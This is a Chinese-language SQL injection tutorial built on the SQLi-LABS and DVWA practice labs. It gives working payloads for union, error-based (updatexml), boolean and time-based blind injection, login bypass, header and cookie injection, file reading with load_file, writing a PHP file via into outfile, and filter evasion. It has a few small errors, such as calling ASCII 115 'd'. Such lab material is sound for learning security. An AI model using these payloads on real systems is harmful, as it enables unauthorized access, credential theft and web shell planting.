SQLi-LABS是GitHub上2014年的开源项目(如果不想部署本地环境可以搜索在线环境使用),但当时PHP7并未发布,所以原版SQLi-LABS并不支持PHP7,而GitHub上有个SQLi-LABS改进项目Sqli_Edited_Version,支持了PHP7 SQLi-LABS、phpstudy、DVWA百度网盘下载地址,提取码:hz52
DVWA(Damn Vulnerable Web App 该死的易受攻击的网络应用)同样也是一个SQL注入环境,和sqli-labs部署类似
phpstudy是一个集成环境,可以快速部署我们所需要得MySQL与Apache环境(如果你已经有MySQL+Apache+PHP环境可跳过此部)
//give your mysql connection username n password
$dbuser ='root';
$dbpass ='root';
$dbname ="security";
$host = 'localhost';
$dbname1 = "challenges";
?>
Setup/reset Database for labs
如右图所示即为部署成功config.inc.php.dist
文件,并复制一个副本出来,并重命名为config.inc.php
localhost/dvwa
网址启动dvwa这里需要对数据库有一定了解,至少需要知道SQL语句的基础使用方法,如果当前你并不会使用SQL语句可以查看我写的数据库博客数据库的增删改查与数据定义语言,对数据库以及SQL有初入了解后,上手SQL手动注入会变得得心应手,否则其中很多SQL语句将可能让你觉得难以理解!!!
SQL注入就是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数代入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库任意操作,这种做法会带来一下危害
SQL注入漏洞的产生需要满足两个条件
注入:顾名思义,需要想数据库中输入内容才能算是注入,如果是静态页面,不和服务器以及数据库交互,那么我们将无法注入,和服务器交互主要有get与post两种方式,可以简单的将get请求理解为通过url显示发送数据请求,post这是给服务器隐式发送数据
注点简单理解就是找到可以和数据库交互的地方,get使用URL与数据库交互,那么注入点一定就在URL中,而大部分参数是跟随在url中问号后?
。
首先我们进入sqli-labs第一页的less1,发现提示Please input the ID as parameter with numeric value
根据提示,我们输入一个参数?id=1
跟在URL后(正常网站不可能出现这种提示,需要我们手动去尝试传入参数查看)
此时网页中输入了一些从数据库中获取的信息,id=1
现在有很大几率是跟数据库交互了,那么这就是一个注入点,接下来我们要尝试一些特殊的字符,让他能显示出我们想要的错误结果!
我们可以尝试id的值为一些特殊的符号(常用但不限于单引号'
双引号"
括号)
反斜线/
等)
我们尝试输入id=1'
后发现了报错
这行报错信息中最有用的就是: ''1''LIMIT 0,1'
这里面单引号具体配对如下图所示
这个错误的原因可以看出是因为我们输入的1'
,为什么我们输入了一个单引号'
会使其报错,其实原因和简单,单双引号,各种括号,他们都是组队出现,而我们的输入导致SQL语句中多了一个单引号'
,使得其没有成对出现,导致错误。而这种错误真是我们需要利用的漏洞!!!
使用数据库可视化工具分析SQL注入
注:使用数据库可视化工具只是为了更好的展示SQL注入过程及其原理,在真实情况下是无法获取到web应用数据库的账户密码
通过可视化工具可以发现当前网页使用的数据库中的表名为uesrs(这个表名在真是情况下也是无法直接看到的,需要通过注入获取,这里我是用来展示注入原理,所以事先说明了表名)
这时候我们尝试使用SQL语句复现在URL中输入id=1
与id=1'
的情况SQL语句分别是select * from users where id='1' limit 0,1
与select * from users where id='1'' limit 0,1;
现在就可以理解为什么输入'
会报错了吧,但数据库语句不一定都是使用单引号闭合'
,也有使用双引号,括号,甚至引号+括号的形式,这里大家可以去sqli的二三四题看看,第二题就是使用双引号"
闭合。
如果当你有一定注入经验后,无需可视化工具也可理解SQL注入过程,再次声明上述可视化工具仅是为了展示注入原理使用,实际注入中用不到,也无法使用。
方法1 : 利用注释进行闭合
当前我们知道,我们在url中id传入的值,会被加入到SQL语句中如下图所示的位置中
那我们可以使用SQL语句中的注释--
这个特性来提前闭合SQL语句,然后在之后就可以任意执行我们想要的SQL语句如下图,xxx的位置就可以执行我们需要的任意的SQL语句URL传入的参数就可以为id=1' xxx --+
小科普:--
(中划线,中划线,空格)为SQL语句的注释,而+
在url中会被当成空格,#
井号通用也是SQL的注释符。SQL还有/*注释内容*/
这种多行注释
方法二 : 使引号成对
这种请求因为无法让limit 0,1被注释,所以我们需要让id等于一个不存在的值,这样才会输出我们想要的内容,否则就使id值输出
注入方式多种多样,具体使用哪种方式,需要根据实际需求自行而定。
常用注入顺序
order by 2
,如果指定列数不存在,则会报错,我们可以利用此方法来获取此表中包含几列我们在url中传入参数id=1' order by 1 --+
,相当于数据库执行了 select * from users where id='1'order by 1-- ' limit 0,1;
,当我们尝试到order by 4
时开始报错,这时候我们就可以知道此表中有3列数据。
使用联合查询我们先要了解select的一个特性,select 数字,数字...
可以快速生成一个只有一行的表,select后还能跟一些函数进行进行输入比如说select version(),user(),database(),connection_id()
.
SQL注入常用函数 | 含义 |
---|---|
version() | 查看数据库版本信息 |
database() | 返回当前数据库名 |
user() | 返回当前用户 |
connection_id() | 返回服务器的连接数 |
union
可以连接两个拥有相同列数的表(这是我们最好让id输入一个空表来更好的显示union
的效果)传入参数id=0' union select 1,2,3 --+
相当于select * from users where id='0'union select 1,2,3-- ' limit 0,1;
后2,3会显示输出,我们可以利用第2个字段和第3个字段来进行注入
获取当前用户与当前使用的库在注入点输入获取用户名以及库方法即可user(),database()
传入的参数为:id=0' union select 1,user(),database() --+
相当于SQL语句为: SELECT * FROM users WHERE id='0' union select 1,user(),database() -- ' LIMIT 0,1;
获取当前数据库中的表名这时候我们需要借助MySQL数据库中系统库,已知系统库information_schema
中的tables
表的table_name
字段存放这所有库中的表名(在MySQL5.0之后版本才有系统库information_schema
)此表中包含所以库中的所有表
我们想要查看这张表需要用到group_concat(…)
来完成操作
group_concat(…)用法
使用group_concat来获取正在使用的库中有哪些表传入的参数为:
id=0' union select 1,DATABASE(),group_concat(table_name) from information_schema.tables where table_schema=DATABASE() --+
相当于在数据库中执行SQL为:
SELECT * FROM users WHERE id='0' union select 1,DATABASE(),group_concat(table_name) from information_schema.tables where table_schema=DATABASE() -- ' LIMIT 0,1
获取当前表中的字段名获取字段方法和获取表名相似,字段存在系统库information_schema
中的COLUMNS
表中的COLUMN_NAME
字段传入参数:
id=0' union select 1,DATABASE(),group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users' --+
相当于SQL语句:
SELECT * FROM users WHERE id='0' union select 1,DATABASE(),group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users' -- ' LIMIT 0,1
获取字段值获取字段值就无需使用系统表,直接利用group_concat()即可获取,如可以传参为:
id=0' union select 1,group_concat(username),group_concat(password) from users--+
相当于SQL语句:
SELECT * FROM users WHERE id='0' union select 1,group_concat(username),group_concat(password) from users -- ' LIMIT 0,1
get显错注入前提是页面中会显示数据库中的数据,我们去获取的数据在页面中直接可以看到,但如果页面中只显示常规错误,并不显示数据,这时候我们就需要用到盲注,盲注可以分为布尔型盲注与基于时间的注入(boolean/time-based blind)
盲注我们需要用到SQL中几个常用的函数,
SQL函数 | 作用 |
---|---|
if(判断条件,真值时返回,假值时返回) | if判断 |
length() | 字符串长度 |
ascii() | 将字母数字等编码成ASCII码 |
substr(截取字符,开始截取位置,截取长度) | 截取指定字符 (截取位置从1开始计算) |
database() | 获取数据库名 |
sleep() | 睡眠时间 |
测试是否存在注点
这里我就用第五题less-5做测试,我们可以传入参数id=1' and sleep(3) --+
来看服务器是否会执行睡眠,这个参数相当于在数据库中执行了select * from users where id='1' and sleep(3) -- ' LIMIT 0,1
这句SQL,通过观察延迟时间来判断是否存在注入点。
判断数据库名
使用if()配合length()来判断长度,在使用if()配合ASCII()与substr()来判断具体名称,当前数据库名为security
判断数据库名长度
判断长度需要用到if()、length()、database()、sleep()函数
id=1' and if(length(database())<10,1,sleep(3)) --+
先判断一下,注:如果数据名(database)的长度(length)小于10,则if(length(database())<10,1,sleep(3))
返回1,相当于真值,如果长度大于10则为假,会睡3秒,我们可以不断调整数字更换大于小于号,最后判断一个小范围后用=来确定具体长度。
id=1' and if(length(database())=8,1,sleep(3)) --+
最后传入这个参数后,我们确定了长度为8。这个参数传入相当于在数据库中执行了select * from users where id='1' and if(length(database())<10,1,sleep(3)) -- ' LIMIT 0,1
。
逐个字符判断数据库名
判断具体名称需要用到if()、ASCII()、substr()、database()、sleep()函数
select if(ASCII(substr(database(),1,1))=115,1,sleep(3))
比如这句SQL就判断数据库中第一个字符是否为ASCII码的115(小写字母d),如果是则返回1,不是这睡眠三秒,所以我们可以传入参数id=1' and if(ASCII(substr(database(),1,1))=115,1,sleep(3)) --+
但根据时间去测试数据库名,耗时较长,所以尽量通过布尔去测试
这里我们拿第八题做测试。基于布尔的盲注,同样我们需要先来查看是否存在驻点,同样在URL中使用id=1'
发现可能的注点,传入id=1' or '1'='1
肯定了注点的存在。
判断数据库名
布尔型盲注判断数据库名相较于时间型更加高效迅速。布尔型需要我们观察网页是否能显示正常,正常情况下,网站会显示You are in…。如果是真值,则会显示,假值则不会显示。
比如id=1' and '1'='0
不会显示,id=1' and '1'='1
会显示。布尔盲注这是利用此特性进行判断。
我们可以利用and的特性,首先我们知道id=1为真值,and后可以更一个值,and后面可以跟随一个子查询,子查询需要用括号包裹()
,具体使用方法可看SQL查询语句子查询用法。SQL中1为真值、0为假值
判断数据库名长度
还是利用length配合database来判断数据库名长度。
比如select length(database())>5
来判断数据库名长度是否大于5 id=1' and (length(database())>5) --+
,如果显示正常则为库名大于5,之后不断尝试直到确定库名长度
逐个字符判断数据名
然后利用ascii()、substr()、database()这三个方法判断具体的数据库名。
比如说select ascii(substr(database(),1,1))>110
此子语句判断库名中第一个字符的ascii是否大于110具体传参为:id=1' and (select ascii(substr(database(),1,1))>110) --+
注意坑: post请求后面跟随的注释--
后需要加一个空格!但是因为csdn我写SQL语句用的代码模块开始和结尾不能有空格。所以下面我所有注释都少跟一个空格!!!
post注入整体和get注入相似,最大的区别是输入地方变量,post并不像get一样在URL中直接输入即可,post注入我们需要先找到可以供我们注入的输入框。
我们在name内输入admin\尝试发现如下报错
首先分析报错,根据报错可以明显看出此语句也是使用单引号'
作为闭合条件,接下来就找着我们get那样尝试注入,如果你比较熟悉数据库,可以大致猜测出在数据库中执行的SQL语句为select * FROM users WHERE username='admin' and password='admin' LIMIT 0,1
登录的原理可以简单的理解为去数据库中确认用户是否存在,如何确定,这就要去对比用户输入的用户名与密码是否一致,一致返回用户为真,允许登录,不一致则返回为假,不允许登录。
这时候我们只需要想办法输入无论如何输入都会返回真值的语句,即可登录成功。
比如任意值' or 1=1 --
or判断只要出现一个真值,则为真,1=1肯定为真,所以整体语句就为真。
这时候我们就会直接登录。
使用控制台进行post注入
我们可以直接寻找输入框进行注入,但有时候前端会对输入框进行合法性判断,这时候我们可以直接去控制台中直接修改参数打到注入效果,但需要注意的是我们看到参数中的一些特殊符号进行了URL编码的,(作为空格替代符的+号无需编码,但常规+号需要编码),比如说+' or 1=1 --
这句话的url编码为%2b%27+or+1%3d1+--+
,网上有很多在线URL编解码工具网站,比如说站长工具URL编解码但是,注意这有个坑我们自己在控制台中修改请求的时候是无需编码的!!火狐会自动帮我们编码。
这里我们也可以用get那一套,来找数据库名已经数据库内容
使用真值,可以让我们直接登陆,使用假值,这可以让我们想get的显错注入那样获取数据库中的内容。
使用可以使用order by来判断字段数,然后使用union联合查询语句来查询内容
如: ' and 0=1 order by 3 --
我输入这句话就会报错,而order by 2 就没有报错,则说明数据库使用的表中只有两个字段,然后我们在使用联合查询union ' and 0=1 union select user(),database() --
配合一些函数来获取数据库用户信息和表名等。
和get相同,post盲注同样分为基于时间的和布尔型盲注(盲注使用less15进行测试)
和get类型,我们要用到的还是if()
、length()
、database()
、sleep()
,这几个函数。主要用到and进行判断。
尝试输入' and (select if(length(database())>1,sleep(2),NULL)) --
这时候发现浏览器需要等待,以此类推找到数据库名长度为多少。然后在使用ascii()
、subste()
来判断具体名称即可如' and (select if(ascii(substr(database(),1,1))>100,sleep(5),NULL)) --
。
同样也与get的布尔盲注类似。主要用到or进行判断。
我们需要利用类似+' or 1=1 --
这个语句来完成布尔盲注,如果是真值,将1=1替换为我们需要进行布尔判断的语句。如果判断为真,则登陆成功,反之亦然。
比如
' or (select length(database())<10) --
判断长度' or (select ascii(substr(database(),1,1))>100) --
判断具体字符。顾名思义,从HTTP请求头中尝试注入,一些网站验证HTTP请求头中的一些参数来判断是否为正式用户而不是爬虫,而大多数判断都是会和数据库有一定交互,这给我们注入就又带来了可乘之机。HTTP头注入需要用到控制台,或者使用一些抓包工具比如说Burp Suite。之后我也会写一些抓包工具的用法,在这里就先不演示了
User-Agent用于记录我们浏览器和系统的一些信息,让服务器知道是什么系统在用什么浏览器访问他,做过爬虫的应该会对此属性很熟悉,因为服务器会根据此属性来判断来访者是否为真人。所以在一些反扒的网站中,此属性是会和数据库有一定的交互。
我们使用第十八题去测试,初看18题我们发现他会回显我们的ip,然后经过多次登录,发现在登录成功的时候他还会回显我们http头中的User-Agent属性,所以我们可以判断为这个题为需要登录后才会存在注点(实际中也是有一些登录成功才会出现的注点,如果是常规面向用户的网站,那么我们就可以先注册登录,在注入)。我们使用默认用户名以及密码(admin)
还是老样子先找注点。携带正确的用户密码用post请求在 User-Agent 处进行注点的测试
发现报错,我们的注点出现了
经过多次测试,发现使用单引号'
和反斜线\
输出的报错信息相同,都为::1', 'admin')
常规SQL查询语句select 列,…… from 表名;
常规SQL插入语句insert [into] 表名 values(...);
从猜测出来的SQL语句中,我们发现,这个SQL语句可能并不是一个查询语句,而是一个插入语
句。
插入语句并不能想查询语句那么容易的查询到数据库内的信息,这时候我们就需要借助updatexml(文档内容,XPath,替换内容)
这个函数。这是一个利用xpath规则进行内容替换的函数,其中我们需要利用到的也是最重要的地方就是XPath规则,这个规则会调用数据库查询,但如果是正常的查询,则会进行内容替换,我们无法获取内容,这时候就需要他报错,他会将报错内容输出。而这个报错内容正好是我们可以操控的,如果这个报错内容是一句SQL语句那么就可以输入我们需要的内容。
那么如何使得updatexml()报错呢,我们可以使用拼接函数concat()
,拼接一些updatexml()不支持的特殊符号进去。
注:特殊符号需要十六进制的ASCII格式,否则回报SQL语法错误。常用的有0x7e对应~
、0x7c对应的|
其余也可以去ASCII网站查询。
比如说,我在数据库中执行这句SQLselect updatexml(1,concat(0x7e,(select VERSION()),0x7e),1)
那么将这句话改写到请求头中' and updatexml(1,concat(0x7e,(select version()),0x7e),1) or '1' = '1
这里使用注释--
后的空格会被过滤,所以采用另一种闭合方式。
select version()可以替换为任意的需要执行的代码。比如说可以使用database()来查询库名,user()查询用户名等。
Referer用于记录用户来自哪个页面(是从哪个页面点击进入当前页面的),同样也是一种验证是否为真人的手段,所以也可能会数据库有这交互
上述的User-Agent注入相当于是一种显错注入,除了显错注入,我们还可以使用盲注来解决问题,HTTP的盲注和get,post的盲注类似,这里使用第十九题less19进行HTTP头中的Referer属性的盲注,比如说' or if(1=1,sleep(5),null) or '1'='1
更多的盲注方式在get盲注中已经演示,在这里就不多做赘述.
相较于Referer与User-Agent参数,cookie才是最可能和数据库发生交互的数据。cookie用于保存用户的数据(相当于用户身份证,有此证明,可以无需登录即可进入个人页面)
我们来使用第二十题less20进行cookie的演示。
当我们成功登录之后就能获取到cookie值,这时候如果获取到多个cookie可以将每个cookie值都单独测试一下,服务器具体使用的是哪个cookie还是都会使用,需要注意的是,注点一定是在cookie中的分号前,若没有分号则是句尾,使用\
测试发现报错'admin\' LIMIT 0,1
,然后使用' oe 1=1 --+
测试发现无报错信息,所以发现存在单引号注点。
找到注点后,可以先测试先错注入' union (select 1,1,database()) --+
,根据返回值发现并不能进行显错注入,在测试盲注' or if(1=1,sleep(5),null) --+
发现也同样失败,这时候我们在测试一下xpath显错注入,这次成功获取到了我们需要的数据
利用SQL在数据库中读写数据虽然限制较多,不过一旦成功,收益也是相当大。比如我们可以获取数据库中我们想要的内容,或者将木马植入数据库中,甚至能做到让我们自己的电脑可以免密登陆数据库。个人感觉数据库读写文件稍微有些鸡肋,因为这个功能在数据库默认是关闭的,而且无法利用SQL注入去打开这两个功能,必须要数据库管理人员事先开启我们才能利用。
读取条件
secure_file_priv
不为null读取文件需要用到secure_file_priv
,这是一个空值安全读取文件的属性,当属性值为空时,我们可以读取任意文件,当属性值为null时,我们无法读取文件.他指定文件夹时我们就只能对指定文件夹读取数据。所以secure_file_priv
为空对我们最有利。(可以使用show variables like '%secure%'
SQL语句来查看他当前的状况。(这句SQL同样无法用在SQL注入时,当前这句话的目的是去测试环境中查看是否开启了此功能)
设置secure_file_priv的方法,如果是使用phpstudy安装的mysql,可以在如下图所示的目录中找到my.ini进行配置,如果自行配置的MySQL,则自行找到安装目录下的my.ini文件打开后在[mysqld]下方输入secure_file_priv=
即可。
这里我就拿第一题测试。读取文件需要用到load_file(绝对路径)
例:id=-1' union select 1,load_file('L:\\123.txt'),2 --+
需要注意的是load_file()
方法中必须跟随绝对路径!读取路径中和文件名最好出现中文字符
写入文件的原理其实是利用数据库的general_log数据库日志功能(将所有到达MySQL Server的SQL语句记录下来,常用于数据库的优化),这项功能默认也是关闭的,而且大多数服务器并不会去开启。所以也需要我们手动去开启这个功能。
现在数据库中使用show variables like '%general%';
查看此功能是否开启(这句话无法用在SQL注入时)如果没有开启,就在数据库中执行set global general_log = on;
开启功能。
这是使用第七题来做实验,写入文件需要用到,写入文件需要用到into outfile
函数。
第七题的闭合是一个坑,使用单引号发现SQL错误,但如果是括号则正常。 == 注意坑,第七题的闭合并不是单括号),这里实际上的闭合方法是’)) == 出现这样的原因是因为我们的注释被引号包含其中,没有发挥出注释的作用导致的'id=1) --+'
在第七题中转化成的SQL语句相当于SELECT * FROM
userswhere id=(('1 ) -- '))
其中的) --
被当成了字符串,并没有发挥出我们想要的功能。解决这个问题的方法就是我们课尝试在注释后在添加一个单引号和双引号看会不会报错'"
,如果发生报错,则证明我们的注释就没有起到效果。
然后我们可以利用联合查询语句.通过into outfile
来进行注入id=1')) union select 1,'',3 into outfile 'D:\\test\\phpstudy_pro\\WWW\\newsqli\\Less-7\\text.php' --+
: 这是一句PHP语句,这句话可以查询数据库中很多信息,之所以用这个是因为这个测试环境是使用PHP搭建,也可以用其他的PHP语句注入数据库查询信息。
当我们成功将文件注入到指定位置后,我们就可以访问相关的网址获取内容
为了防止SQL注入,一般在服务器上都会设立很多SQL注入检查手段,但也有不少方法可以绕过检查。
or
和||
,and
和&&
。可以将一些字符转换成二进制码发送,比如说||
可以换成URL码%7c%7c
。URL转码工具,url编码。还可以尝试转换为十六进制码。十六进制转码工具--
与#
这样的单行注释,还有多行注释/*注释内容*/
,多行注释有一个特性,就是在注释内容中的!
后的注释内容会失效,成为内联注释,比如/*!注释内容*/